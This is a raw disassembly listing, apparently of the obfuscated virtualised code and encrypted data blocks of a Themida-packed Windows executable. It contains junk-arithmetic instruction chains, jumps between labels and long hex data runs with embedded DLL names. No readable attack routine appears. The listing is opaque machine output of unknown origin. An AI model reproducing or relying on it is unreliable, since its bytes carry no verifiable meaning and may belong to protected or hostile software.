		dd 0FF2E11E9h, 4C481FFh, 8F000000h, 248B2404h, 24D36624h
		dd 0E99C24h, 68FFFEB5h,	7D53h, 50241C89h, 0FFB35EE9h, 2CEE2CFFh
		dd 2434FFA0h, 8B2434FFh, 0C4832414h, 4C48304h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5682D3
; ---------------------------------------------------------------------------


loc_5676ED:				; CODE XREF: Themida_:005602FEj
		mov	[esp], esi
		mov	esi, 3E0F07EBh
		inc	esi
		not	esi
		inc	esi
		neg	esi
		sub	esi, 1681D218h
		sub	eax, esi
		pop	esi
		add	eax, ecx
		push	ebx
		push	esi
		push	0DEE2E19h
		pop	esi
		add	esi, 74465B27h
		sub	esi, 10C03DA6h
		mov	ebx, esi
		pop	esi
		not	ebx
		add	ebx, 9901816Fh
		sub	eax, 66636A4Dh
		jmp	loc_553AFC
; ---------------------------------------------------------------------------
byte_56772F	db 66h			; DATA XREF: Themida_:005528ECo
		dd 68240C8Bh, 1C8Fh, 54243489h,	4C6815Eh, 83000000h, 0EC8104EEh
		dd 4, 0FF243489h, 0E9042474h, 0FFFF61A2h
; ---------------------------------------------------------------------------


loc_567758:				; CODE XREF: Themida_:005592DBj
		add	esp, 4
		push	8F4h
		mov	[esp], eax
		push	0C4Eh
		mov	[esp], esp
		jmp	loc_55D75A
; ---------------------------------------------------------------------------
		dd 8904EC83h, 84B82404h, 0E910CC38h, 0FFFF8123h, 2EE9D089h
		dd 1FFFEC8h, 24148BD3h,	4C481h,	0C3810000h, 5433016Fh
		dd 7E08C381h, 0C3013C7Dh, 0FEE1BBE9h, 4C181FFh,	83000000h
		dd 0C8704C1h, 24248B24h, 15468h, 241C8900h, 0E904EC83h
		dd 0FFFF0EE8h, 0C3815B54h, 4, 0FFBEABE9h, 240C8BFFh, 81E28952h
		dd 4C2h, 0A4DAE900h, 0BE56FFFFh, 221618E0h, 0FFC3C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5677ED:				; CODE XREF: Themida_:00559D2Bj
		not	eax
		xchg	eax, ebp
		xchg	ebp, [esp]
		pop	edi
		jmp	loc_552DA7
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 51000000h, 4B9h, 4945E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56780A:				; CODE XREF: Themida_:00557AEAj
		mov	[esp], ebx
		jmp	loc_564610
; ---------------------------------------------------------------------------
		dw 8159h
		dd 720560C5h, 0AEE58119h, 814C2959h, 5B619AF5h,	0E9EB2979h
		dd 0FFFFD521h, 2719E381h, 0EBE9340Fh
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567837:				; CODE XREF: Themida_:0056372Dj
		sub	esp, 4
		mov	[esp], eax
		push	edi
		jmp	loc_560499
; ---------------------------------------------------------------------------
		dw 3489h
		dd 3F0EBE24h, 0EEC13ED6h, 4EEC103h, 0FEF6C2E9h,	24048BFFh
		dd 4C481h, 21E90000h, 0FFFFFF1Bh, 54E92434h, 0FFFFFEC9h
		dd 34818734h, 486C9024h, 24048B1Bh, 5E08950h, 4, 42Dh
		dd 24048700h, 0E924248Bh, 0FFFF7811h, 81FE0159h, 7E420DEEh
		dd 243C8B75h, 4C481h, 0B8500000h, 2, 0E1E9C601h, 53FFFEFEh
		dd 4F1950BBh, 0F0F38172h, 31066E61h, 0E038E9D9h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5678C6:				; CODE XREF: Themida_:00559048j
		push	3231h
		jmp	loc_55891C
; ---------------------------------------------------------------------------
aI@		db '┴<$©@',0
		align 4
		dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 24248B24h
		dd 0FEE1A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5678F5:				; CODE XREF: Themida_:00565CBFj
		push	esi
		mov	esi, 1A500949h
		jmp	loc_5679F3
; ---------------------------------------------------------------------------
dword_567900	dd 286866ACh, 0C896675h, 52E95024h ; DATA XREF:	Themida_:00552940o
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56790F:				; CODE XREF: Themida_:0055388Cj
		xchg	eax, [esp]
		pop	esp
		add	eax, 1C875EC8h
		sub	eax, edx
		jmp	loc_555153
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0DF930E7h, 14F1E950h, 0F281FFFFh, 3CB956CDh,	0ADD6F281h
		dd 0D501F11Ah, 4ED835Ah, 5C242C87h, 56240489h, 0FEC591E9h
		dd 59CA88FFh, 8024C280h, 0EA8030EAh, 80DAF6E1h,	5266CEF2h
		dd 662414F6h, 1BE2805Ah, 0E527E950h, 38BDFFFEh,	0E9360267h
		dd 537h, 2A4F68h, 24248900h, 4240483h, 4C2815Ah, 83000000h
		dd 148704C2h, 525A5C24h, 0FFCA76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567995:				; CODE XREF: Themida_:00559E6Fj
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_56765D
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0CE9240Ch, 52FFFEB2h, 0FEB2F8E9h, 241C87FFh,	0F9E9D3F7h
		dd 31FFFFF2h, 0BE565AD6h, 3BC07166h, 0E903EEC1h, 0FFFEF0FDh
		dd 7A7DBA52h, 87E97CE9h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5679DB:				; CODE XREF: Themida_:00562835j
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 3A23A7Ch
		jmp	loc_55E649
; ---------------------------------------------------------------------------


loc_5679F3:				; CODE XREF: Themida_:005678FBj
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		inc	ecx
		push	ebx
		mov	ebx, 795742D4h
		and	ebx, 615728B8h
		inc	ebx
		xor	ebx, 8A2FDE49h
		add	ecx, ebx
		pop	ebx
		add	edi, ecx
		pop	ecx
		push	1252h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_55E0DC
; ---------------------------------------------------------------------------


loc_567A2A:				; CODE XREF: Themida_:005634D7j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jmp	loc_55DA33
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 24048F00h, 8324248Bh, 0BE5604C4h, 4
		dd 835EF701h, 3C8704C7h, 24248B24h, 0E9240431h,	0FFFEB14Fh
; ---------------------------------------------------------------------------


loc_567A6C:				; CODE XREF: Themida_:00561206j
		mov	[esp], eax
		jmp	loc_558AB1
; ---------------------------------------------------------------------------
		dd 6721BB53h, 8E92BDDh,	66FFFF74h, 10E9EE01h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567A87:				; CODE XREF: Themida_:0055DE94j
		push	dword ptr [edi+eax*4]
		push	50Eh
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5537F8
; ---------------------------------------------------------------------------
		dw 1CE9h
		dd 31FFFEB1h, 0E5A7E9D6h, 0F501FFFEh, 8124348Bh, 4C4h
		dd 2C99E900h, 0EC80FFFFh, 0BDCC80FFh, 0C04AEC80h, 57E904E4h
		dd 81FFFF24h, 4C4h, 4C68300h, 0FF56CBE9h, 535A54FFh, 4BBh
		dd 5BDA0100h, 12786857h, 3C8B47BEh, 0E7895724h,	0FFF506E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567AF1:				; CODE XREF: Themida_:0055D272j
		add	edi, 4
		jmp	loc_55EABD
; ---------------------------------------------------------------------------
		db 0D1h, 0EEh, 81h
		dd 0AC3738F6h, 73C68146h, 56F646C4h, 13242C81h,	0E907C47Ch
		dd 0FFFF0791h
; ---------------------------------------------------------------------------


loc_567B14:				; CODE XREF: Themida_:0055841Ej
		add	ebx, eax
		pop	eax
		jmp	loc_5574AB
; ---------------------------------------------------------------------------
		dd 1C8BD829h, 4C48324h,	5722E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B2A:				; CODE XREF: Themida_:0055A737j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55FF87
; ---------------------------------------------------------------------------


loc_567B42:				; CODE XREF: Themida_:00562D1Dj
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_562CC1
; ---------------------------------------------------------------------------
byte_567B59	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00552990o
		dd 63E95258h, 5FFFFF7Eh, 0FF6F2DE9h, 0B04DE9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_567B6E:				; CODE XREF: Themida_:0055D927j
		add	ebx, 1CFACA3Bh
		mov	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	eax, 5A90589Ah
		sub	eax, ecx
		sub	eax, 5A90589Ah
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	6C33h
		mov	[esp], edx
		jmp	loc_565DFA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 6A726800h, 44E90000h, 0BEFFFF54h, 21785616h, 3FAF68h
		dd 243C8900h, 0C03372BFh, 8E7C167h, 2BB4F781h, 0FE09A406h
		dd 0FF2434FFh, 835F2434h, 895204C4h, 36B9E9E2h,	0D829FFFFh
		dd 5E2968h, 241C8900h, 0FD677FBBh, 5DE94B66h, 81FFFF22h
		dd 0C5C4E1F5h, 42B95139h, 6874A869h, 406h, 0B8240489h
		dd 5DF55CDDh, 0C158C121h, 0D9F707E1h, 8107E9C1h, 0C8B898F1h
		dd 59C8017Fh, 582DE801h, 0E97E970Fh, 0FFFFFC37h, 4BA525Bh
		dd 0E9000000h, 0FFFF6ACDh
; ---------------------------------------------------------------------------


loc_567C3C:				; CODE XREF: Themida_:00553489j
		sub	ecx, 4636136Fh
		sub	ecx, 57011366h
		jmp	loc_55E163
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFDC7Dh, 1E1C281h, 0C581FFF1h, 711E7649h
		dd 0ED81D529h, 711E7649h, 242C875Ah, 7D87E95Ch,	1489FFFFh
		dd 8119E924h, 335AFFFFh, 3C31243Ch, 243C3324h, 3324248Bh
		dd 3C31243Ch, 243C3324h, 1722E95Ch, 348BFFFFh, 4C48324h
		dd 6824048Fh, 49D8h, 68243C89h,	4, 2444815Fh, 4A72FF04h
		dd 247C0167h, 0E85FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567CC2:				; CODE XREF: Themida_:0055F3CEj
		mov	[esp], eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 47F601D4h
		neg	edi
		neg	edi
		push	ebp
		jmp	loc_55CC25
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF240Ch, 0C8B0424h, 4C48324h, 0FEAF8AE9h, 0E9E089FFh
		dd 0FFFFF89Fh, 91E9F101h, 5AFFFF89h, 4C281h, 0C2830000h
		dd 24143304h, 0E9241431h, 0FFFF469Eh
; ---------------------------------------------------------------------------


loc_567D0C:				; CODE XREF: Themida_:005587D0j
		or	edx, 6C125DBBh
		jmp	loc_562714
; ---------------------------------------------------------------------------


loc_567D17:				; CODE XREF: Themida_:005636B0j
		mov	[esp], edx
		push	30B0h
		mov	[esp], eax
		push	428Eh
		mov	[esp], ecx
		jmp	loc_55FBA5
; ---------------------------------------------------------------------------


loc_567D2F:				; CODE XREF: Themida_:005664EEj
		mov	esi, 3BEF1D3Bh
		sub	esi, 87B79EBAh
		jmp	loc_55F668
; ---------------------------------------------------------------------------
		db 89h
		dd 0F3015BDEh, 8324348Bh, 0E95704C4h, 0FFFF2776h
; ---------------------------------------------------------------------------


loc_567D50:				; CODE XREF: Themida_:005668E7j
		mov	ebx, 2F2546FEh
		not	ebx
		push	ecx
		push	ebx
		mov	ebx, 64DD0D6Eh
		mov	ecx, 17CE6D95h
		sub	ecx, 0D761BC9h
		add	ecx, ebx
		add	ecx, 0D761BC9h
		jmp	loc_55B14D
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5C64C5C4h, 0CE9F121h, 49FFFFD5h, 8904EC83h, 0AABE2434h
		dd 0E96B0942h, 0FFFFFFE2h
; ---------------------------------------------------------------------------


loc_567D94:				; CODE XREF: Themida_:0055496Dj
		push	4BBBh
		mov	[esp], edx
		jmp	loc_562C80
; ---------------------------------------------------------------------------


loc_567DA1:				; CODE XREF: Themida_:0056729Aj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	eax, 4
		shr	eax, 4
		push	edi
		push	15377Fh
		pop	edi
		xor	eax, edi
		mov	edi, [esp]
		push	ecx
		jmp	loc_55C534
; ---------------------------------------------------------------------------
		dd 0B041F681h, 0F7296602h, 13E9535Eh, 81FFFFCCh, 4C4h
		dd 243C8700h, 0E924248Bh, 0FFFEADDBh
; ---------------------------------------------------------------------------


loc_567DE0:				; CODE XREF: Themida_:00563E0Dj
		add	esp, 4
		jmp	loc_564768
; ---------------------------------------------------------------------------
		db 52h
		dd 0F82CEEB2h, 0F804D000h, 8094E95Ah, 0EB01FFFFh, 0FFEF83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567E01:				; CODE XREF: Themida_:0055FA3Cj
		push	edx
		mov	dh, 50h
		or	dh, 0E1h
		sub	dh, 0Fh
		push	ecx
		mov	cl, dh
		push	ebx
		mov	bl, cl
		jmp	loc_563EFA
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FEB71EE9h, 0ECBE56FFh, 0E97F7C2Ch, 0FFFFCF61h, 0E9D0295Bh
		dd 0FFFEDAF9h, 89243489h, 0DFE950E6h, 81FFFF59h, 73F82DE9h
		dd 0E3D4E9D5h, 489FFFFh, 0EC4EE924h, 0E95BFFFFh, 0FFFFF250h
		dd 0F7665866h, 7364E9D8h, 5259FFFFh, 0FEF10AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567E65:				; CODE XREF: Themida_:00565FE4j
		push	edx
		jmp	loc_55949C
; ---------------------------------------------------------------------------
		db 81h
		dd 104952F6h, 0D905E951h, 282CFFFFh, 5358C588h,	0DC007EB3h
		dd 0E2DEE95Bh, 0D400FFFEh, 0F4805A66h, 8E4C053h, 0DD15E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567E96:				; CODE XREF: Themida_:005562DBj
		sub	[eax], edi
		jmp	loc_563D44
; ---------------------------------------------------------------------------


loc_567E9D:				; CODE XREF: Themida_:0055D128j
		add	bl, 7Ch
		add	bl, 20h
		sub	bl, 53h
		jmp	loc_55468B
; ---------------------------------------------------------------------------
		db 81h
		dd 0C71506C5h, 3324E909h, 0FA01FFFFh, 24048B5Fh, 0E904C483h
		dd 0FFFFA945h, 0B5511CB3h, 2C2FB0E1h, 0E9E8286Ch, 0FFFFB2DDh
; ---------------------------------------------------------------------------


loc_567ED4:				; CODE XREF: Themida_:00562297j
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_563B6A
; ---------------------------------------------------------------------------


loc_567EE6:				; CODE XREF: Themida_:00556E94j
		pop	esi
		mov	esi, 0FB082B44h
		add	esi, edi
		pop	edi
		shr	esi, 7
		push	edi
		mov	edi, 2AF20B65h
		jmp	loc_5680E4
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0E904EC83h, 0FFFFB247h, 1496E981h, 0E95D493Ch, 0FFFF618Ch
		dd 89240489h, 405E0h, 4050000h,	87000000h, 248B2404h, 5DEA0124h
		dd 0EA81FA01h, 4524346Fh, 4EC81h, 1C890000h, 705FBB24h
		dd 0E3810477h, 73A65C2h, 0FF0163E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567F4D:				; CODE XREF: Themida_:005653C6j
		pop	eax
		and	bh, 85h
		add	bh, 12h
		push	ecx
		mov	cl, 4Bh
		shl	cl, 2
		and	cl, 0EAh
		inc	cl
		shr	cl, 3
		sub	cl, 88h
		xor	bh, cl
		pop	ecx
		and	bh, 5
		push	eax
		mov	ah, 80h
		and	ah, 51h
		not	ah
		jmp	loc_556401
; ---------------------------------------------------------------------------
		dd 4C481h, 89510000h, 4C181E1h,	83000000h, 0C3304E9h, 5F85E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567F92:				; CODE XREF: Themida_:0055911Aj
		shr	eax, 0Ch
		xor	eax, ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_553F2E
; ---------------------------------------------------------------------------
		db 29h
		dd 0A8C381F3h, 5E02026Ah, 515EC381h, 0F3291553h, 515EEB81h
		dd 89571553h, 4C781E7h,	52000000h, 0FEEC6FE9h, 1BBEBEFFh
		dd 0F0292BA1h, 89B0E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567FD2:				; CODE XREF: Themida_:005665A1j
		push	ebp
		mov	ebp, 20000h
		mov	edi, ebp
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_5597A7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9FE92404h, 89FFFEF4h, 4BB241Ch, 29000000h, 0C875BD9h
		dd 4745E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56800A:				; CODE XREF: Themida_:0055C346j
		inc	edi
		xor	edi, 23946402h
		shr	edi, 8
		or	edi, 58077CACh
		add	edi, 0AE3D29C3h
		xor	ebp, edi
		jmp	loc_55E494
; ---------------------------------------------------------------------------
		db 28h
		dd 0B6D5E9D1h, 6F68FFFEh, 0E9000063h, 0FFFF5C25h
; ---------------------------------------------------------------------------


loc_568038:				; CODE XREF: Themida_:005545E7j
		xor	ebx, 2BA02841h
		add	eax, ebx
		pop	ebx
		push	4B6Ch
		mov	[esp], esi
		jmp	loc_562DE3
; ---------------------------------------------------------------------------
		dw 5158h
		dd 0FFE6EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568055:				; CODE XREF: Themida_:00564D3Ej
		push	ebx
		push	esp
		jmp	loc_55F693
; ---------------------------------------------------------------------------
		dd 8904EC83h, 95BE2434h, 6801E11Dh, 0
		dd 5E243429h, 4A51BD55h, 10E92508h, 8BFFFEBDh, 0C4832414h
		dd 24048F04h, 6624248Bh, 5024048Bh, 81E28952h, 4C2h, 4EA8300h
		dd 31241433h, 0CAE92414h, 49FFFF0Ah, 5301E983h,	0D472D2BBh
		dd 0BFC1816Ah, 0E90D866Ah, 0FFFF06BFh
; ---------------------------------------------------------------------------


loc_5680B8:				; CODE XREF: Themida_:00557227j
		sub	al, 0A1h
		sub	al, 8Dh
		jmp	loc_557B67
; ---------------------------------------------------------------------------
byte_5680C1	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552AD4o
		dd 28FE6824h, 5E90000h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5680CF:				; CODE XREF: Themida_:00558004j
		mov	ebx, [esp]
		add	esp, 4
		not	dword ptr [edi+20h]
		inc	dword ptr [edi+20h]
		shr	dword ptr [edi+20h], 8
		jmp	loc_565E3E
; ---------------------------------------------------------------------------


loc_5680E4:				; CODE XREF: Themida_:00567EF8j
		push	edi
		not	dword ptr [esp]
		jmp	loc_567496
; ---------------------------------------------------------------------------


loc_5680ED:				; CODE XREF: Themida_:0055A65Dj
		push	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_55D12D
; ---------------------------------------------------------------------------


loc_568110:				; CODE XREF: Themida_:00555DD0j
		add	esi, 751E527Bh
		pop	edx
		jmp	loc_563A2A
; ---------------------------------------------------------------------------
		dd 4C481h, 1EE90000h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568127:				; CODE XREF: Themida_:0056049Cj
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_558FE7
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0DEh
		dd 0E95CE208h, 0FFFF0746h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 83241C89h, 0C8904ECh, 4EC8324h, 68241C89h, 6C042CBFh
		dd 0FEAB25E9h, 240C8BFFh, 4C481h, 0E9510000h, 0FFFF3872h
; ---------------------------------------------------------------------------


loc_568178:				; CODE XREF: Themida_:00552F95j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		pop	ecx
		sub	ecx, 169E2760h
		push	ebx
		jmp	loc_556723
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 38233AFAh, 8147DFF7h, 2DA9EF7h, 31EF3199h, 0F7EF31FDh
		dd 50EF87D5h, 0A650F1B8h, 58C7095Fh, 0FEBDB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5681B1:				; CODE XREF: Themida_:0056499Aj
		mov	edi, esi
		pop	esi
		mov	ebx, edi
		jmp	loc_55CA7D
; ---------------------------------------------------------------------------
		db 52h
		dd 0A64B9DBAh, 0FFD13139h, 815A2434h, 4C4h, 15F18100h
		dd 0E91F5568h, 0FFFF752Ch, 0FEA9DEE9h, 4BF57FFh, 0E9000000h
		dd 0FFFEDD10h, 1959BB53h, 0C38101ACh, 0FFFFFFFFh, 0FF1C7BE9h
		dd 0E9C329FFh, 0FFFFD87Bh, 0C281F201h, 79002AF6h, 8324348Bh
		dd 94E904ECh, 0FFFFD2h,	0F6E959E8h, 1FFFF30h, 97C381FBh
		dd 0E9013766h, 0FFFF4257h
dword_568228	dd 240C8B66h, 68E68956h, 4ACAh,	50243C89h, 0FFAC07E9h
					; DATA XREF: Themida_:00552A58o
		dd 4C683FFh, 0FEC280E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568245:				; CODE XREF: Themida_:00557BF0j
		push	esi
		push	ebp
		mov	ebp, 70251F65h
		jmp	loc_559442
; ---------------------------------------------------------------------------
aUS		db '╩·:А',0
		dw 0DA89h
		dd 81241C8Bh, 4C4h, 0BCB95100h,	5225773Ch, 0A04C1BBAh
		dd 0A6C1814Dh, 1196528h, 0A6E981D1h, 5A196528h,	8149D9F7h
		dd 0FFC568C1h, 0E9CA09ECh, 0FFFFF545h
		db 8Ah,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_555B3E
; ---------------------------------------------------------------------------


loc_568298:				; CODE XREF: Themida_:005667D1j
		push	esi
		jmp	loc_5593B2
; ---------------------------------------------------------------------------


loc_56829E:				; CODE XREF: Themida_:0055519Bj
		xor	ebx, 35FB5F3Fh
		mov	eax, ebx
		pop	ebx
		inc	eax
		jmp	loc_55DE40
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 34h
		dd 0E6895624h, 4C681h, 56520000h, 4E5562BEh, 0E6814634h
		dd 4E6130C7h, 1047F681h, 78E90440h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5682D3:				; CODE XREF: Themida_:005676E8j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5573BA
; ---------------------------------------------------------------------------
		dd 14E8h, 47D85000h, 0DFBF8D11h, 37ACE145h, 8973291Bh
		dd 9FB02FC0h, 0F18B6617h, 17C18159h, 0BF000064h, 18E4h
		dd 0D6B70F57h, 80198B5Eh, 0F3818FEAh, 234B7A34h, 0E049BE66h
		dd 4A1FF381h, 81F55DA4h, 184C7AC3h, 5053F578h, 97613B8h
		dd 18F5A31h, 3890Fh, 8B660000h,	76E981C7h, 801DBB7Bh, 0C1818BCEh
		dd 1DBB7B72h, 0BE8h, 2F9F3800h,	0FF405BD9h, 5C193340h
		dd 81CA8B60h, 0A01818F6h, 4F5E6150h, 0FF9F850Fh, 0D68BFFFFh
		dd 535536EBh, 32335245h, 6C6C642Eh, 56444100h, 33495041h
		dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 807D7h, 70002h
		dd 26000Fh, 31B0027h, 302691F8h, 8CCE9h, 9ED26800h, 0F1E90937h
		dd 68FFFDE0h, 9379F49h,	0FDE0E7E9h, 0A09268FFh,	0DDE90937h
		dd 68FFFDE0h, 937A1ECh,	0FDE0D3E9h, 0A26568FFh,	0C9E90937h
		dd 68FFFDE0h, 937A3A8h,	0FDE0BFE9h, 0A41E68FFh,	0B5E90937h
		dd 26FFFDE0h, 4A0E8F34h, 0FD1CAD7h, 60188510h, 0ACECFC8h
		dd 1E158613h, 15849D6Dh, 3E5BD088h, 18859B5Dh, 7861FD83h
		dd 43612D23h, 12FEA379h, 495B606Dh, 7DFEA0Fh, 552A19C7h
		dd 880E1503h, 0D0F57C44h, 12E1F66Eh, 0E1B6328Eh, 5C97021Bh
		dd 28B616D8h, 130114A2h, 88E41096h, 0B731FBBAh,	997144BCh
		dd 0CA675935h, 10CDF7ADh, 27C94B47h, 0F8972DC9h, 0E644141Ah
		dd 93364896h, 23D3386Eh, 0FB886B6Dh, 716E00A8h,	0A7914F7Fh
		dd 9B3B28E2h, 2B47B915h, 0BD33A0BEh, 2EABC236h,	47AF41C3h
		dd 9C0519A3h, 0FCE579FFh, 8ADFA4E8h, 907AF9BAh,	730h, 0B9E2C775h
		dd 0EEAF2A47h, 0B3E8F56Ah, 0F7A4352Dh, 0ACF1E881h, 79F09AEFh
		dd 0AEC53B60h, 70EE722Bh, 0AAC63A63h, 14B8702Dh, 0FEA3E4CEh
		dd 10B3E012h, 43AE2B47h, 9935EDB8h, 1DF650Bh, 37971915h
		dd 0B8AF8587h, 0F501368Ch, 0E47B8549h, 69871209h, 0E8753F65h
		dd 6F7112FEh, 501B1587h, 85DB6AB4h, 0BBE00E47h,	43AE2B45h
		dd 0A0445DD1h, 0F2D308A2h, 0B9CEB83Bh, 0FE000006h, 0B226775Ch
		dd 77922BFh, 0A8306D68h, 27627B0h, 662D6E6Bh, 0DDFC7515h
		dd 0B62338C0h, 0E0FD73E5h, 0B02945BBh, 5B8945EBh, 12FEA271h
		dd 15933865h, 75F409B9h, 58BCDB4Bh, 359F408Ah, 0ADC2341Ch
		dd 0D00EBE30h, 1C359FEAh, 0C23CB8DEh, 4EC231AEh, 0F709C5D2h
		dd 15975A7Fh, 76EE62E1h, 6ECA2733h, 2EC08237h, 0C0D951C3h
		dd 6B59CC31h, 615B4390h, 322CD2CFh, 2ACA4EA5h, 9FEEEFD5h
		dd 0C88950D9h, 57h, 0AE2B4707h,	288939EDh, 39A057D6h, 0C9399929h
		dd 0FD867068h, 0A52B5AF9h, 0A31C3641h, 4213B9E7h, 0E1071C36h
		dd 1A879B15h, 871008B2h, 2F0CE86Ch, 814D0590h, 331D463h
		dd 6C6E815h, 715D7AF4h,	5FD2D74Fh, 7348AC42h, 0FA7673EDh
		dd 5C9216DDh, 5DEAD95h,	47DE0000h, 9C1EAE2Bh, 8F0A2384h
		dd 0E30EE064h, 680E9561h, 41347E24h, 0AE301C36h, 30E8BB46h
		dd 4713069Ch, 0BFE11503h, 99061ADEh, 814B5935h,	7513013Ch
		dd 19A68373h, 0E8F6D68Eh, 0BCCDA8Bh, 2B5F6F71h,	0EF029F91h
		dd 5520556Dh, 0F3BC9677h, 0A978903h, 5451CF91h,	0BE35BBDCh
		dd 0E8BA618h, 0DFF874E6h, 9D56F107h, 5D45ECE9h,	570h, 792287B5h
		dd 2E6F6A07h, 7328B5AAh, 376475EDh, 6C31A8C1h, 3930DAAFh
		dd 0EE85FBA0h, 302EB2EBh, 0EA86FAA3h, 0D4F8B0EDh, 0FEA1A40Eh
		dd 0D0F3A012h, 43AE2B47h, 0D3165DD1h, 788C062Fh, 3A8413AFh
		dd 0E00E3581h, 0B746E30Eh, 0FCB808CDh, 0B35236Eh, 0FCB846AEh
		dd 4C1C35ABh, 50934C84h, 87982289h, 0EB2BDA1Ah,	5CFFFFFEh
		dd 43AE2B47h, 9935EDB8h, 363E40Bh, 0B6169815h, 0FDFCBE06h
		dd 101CFCCDh, 8A3D85B0h, 0EEB0BEEh, 0CC8E6818h,	4F62EEB1h
		dd 0FE0C473h, 5F976C22h, 0C509C1D4h, 0CE26901Fh, 0C2E0A40Bh
		dd 1C3616F8h, 4CA73028h, 0FAF4FAC8h, 7A3128D2h,	0C6BABC67h
		dd 51A54B77h, 5A7B42D2h, 0E73E1C35h, 4FE6D8FDh,	0D125A74Ah
		dd 50E4DC31h, 1B78B89h,	493C0000h, 7DFEA0Fh, 0B03935C7h
		dd 4FD120B9h, 0FBA955A1h, 15035548h, 0CC72AA2Ch, 0BCB747D1h
		dd 27B2AF51h, 36D3F9A7h, 21C74B47h, 9F7742D5h, 4116712Fh
		dd 0AC144414h, 0BC31F8D6h, 0FFB54155h, 3A8D1AD9h, 52126A62h
		dd 2A3281EFh, 19F4BABh,	3B294237h, 616B7955h, 554B4741h
		dd 41497331h, 9B3D4B47h, 0EDF3A155h, 5643DFE1h,	268C5276h
		dd 224B4741h, 0DDA3787Ch, 6A8C5841h, 73BA8A31h,	41606F0h
		dd 0F95B0000h, 2439BFDCh, 718E0BDh, 0E77F019Ah,	3E37A9F2h
		dd 4039029Bh, 554653CAh, 900D88A3h, 544956C8h, 9607908Ch
		dd 0FEC4DAB2h, 0FA12FEA0h, 0B915EAE9h, 47AA2F47h, 41951FC5h
		dd 54CD1C36h, 982AAE45h, 4053DE16h, 0B09E4488h,	0CE1501DEh
		dd 0AC765DEEh, 2DC9EB6Ch, 635D7177h, 15CBD0CDh,	0CF737E1Bh
		dd 684E25EFh, 7D79ECF4h, 72726F03h, 0F2D2E71Ah,	9DF6E083h
